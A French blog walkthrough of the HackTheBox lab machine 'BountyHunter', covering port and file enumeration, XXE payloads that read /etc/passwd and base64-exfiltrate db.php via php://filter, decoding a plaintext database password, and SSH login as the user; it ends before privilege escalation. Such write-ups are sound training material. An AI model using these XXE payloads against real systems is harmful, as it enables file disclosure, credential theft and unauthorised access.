
cestoliv, 1 year ago - ven. 8 oct. 2021
BountyHunter - HackTheBox Machine
- Fournisseur : HackTheBox
- Système : Linux
- Difficulté : Facile
- Objectif : Récupérer un flag intermédiaire dans le home de l'utilisateur puis le flag dans /root
Enumération
On commence par une énumération classique des ports (-sV pour avoir le service et sa version).
$ nmap -sV -sC 10.10.11.100
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
On n'a pas grand chose, on commence donc par regarder le serveur web pour vite voir qu'il tourne sous PHP. On se sert de FUZZ pour potentiellement découvrir quelques pépites.
$ wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://10.10.11.100/FUZZ.php
Target: http://10.10.11.100/FUZZ.php
==============================
ID Response Payload
==============================
000000241: 200 "db"
000000422: 200 "index"
000000625: 200 "portal"
On découvre donc un db.php qu'il pourrait être intéressant de récupérer.
XML External Entity (XXE) Processing
En ce baladant sur le site on tombe sur un formulaire (http://10.10.11.100/log_submit.php
).
Les données sont envoyée avec Ajax grâce au script suivant :
function returnSecret(data) {
return Promise.resolve($.ajax({
type: "POST",
data: {"data":data},
url: "tracker_diRbPr00f314.php"
}));
}
async function bountySubmit() {
try {
var xml = `<?xml version="1.0" encoding="ISO-8859-1"?>
<bugreport>
<title>${$('#exploitTitle').val()}</title>
<cwe>${$('#cwe').val()}</cwe>
<cvss>${$('#cvss').val()}</cvss>
<reward>${$('#reward').val()}</reward>
</bugreport>`
let data = await returnSecret(btoa(xml));
$("#return").html(data)
}
catch(error) {
console.log('Error:', error);
}
}
Les données du formulaire sont donc envoyées dans une chaine XML crée par le script, convertie en base64 puis envoyée à tracker_diRbPr00f314.php
.
On va donc se servir de la console du navigateur pour envoyer les données que l'on veut, et donc exploiter la faille XEE.
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
<bugreport>
<title>&ent;</title>
<cwe>CWE</cwe>
<cvss>CVSS</cvss>
<reward>1000</reward>
</bugreport>
Grâce au XML suivant, les données seront interprétées de telles sorte que le title
prendra comme valeur le contenu du fichier /etc/passwd
.
C'est bien, car ça nous informe que le seule utilisateur "classique" (celui chez lequel on trouvera probablement le flag) s'appelle development
.
C'est par contre le seul fichier auquel on arrive à accéder.
Par contre, on trouve dans cette Cheat Sheet une nouvelle instruction qui utilise une fonction PHP pour nous retourner un des fichier PHP du projet, on va donc demander le db.php trouvé précédement.
<!DOCTYPE replace [<!ENTITY ent SYSTEM "php://filter/convert.base64-encode/resource=db.php"> ]>
Victoire, on récupère le contenu de db.php en base64 et il ne reste plus qu'a le décoder !
$ echo "PD9waHAKLy8gVE9ETyAtPiBJbXBsZW1lbnQgbG9naW4gc3lzdGVtIHdpdGggdGhlIGRhdGFiYXNlLgokZGJzZXJ2ZXIgPSAibG9jYWxob3N0IjsKJGRibmFtZSA9ICJib3VudHkiOwokZGJ1c2VybmFtZSA9ICJhZG1pbiI7CiRkYnBhc3N3b3JkID0gIm0xOVJvQVUwaFA0MUExc1RzcTZLIjsKJHRlc3R1c2VyID0gInRlc3QiOwo/Pgo=" | base64 -d
<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>
Ce fichier contient un mot de passe en clair : on va essayer de l'utiliser pour se connecter en SSH à la machine avec l'utilisateur development trouvé tou à l'heure.
$ ssh development@10.10.11.100
development@bountyhunter:~$
On trouve immédiatement le flag user.txt
dans le home de cet utilisateur.
USER OWN !
Nous allons maintenant devoir faire une escalade de privilèges pour récupérer le flag root situé dans le /root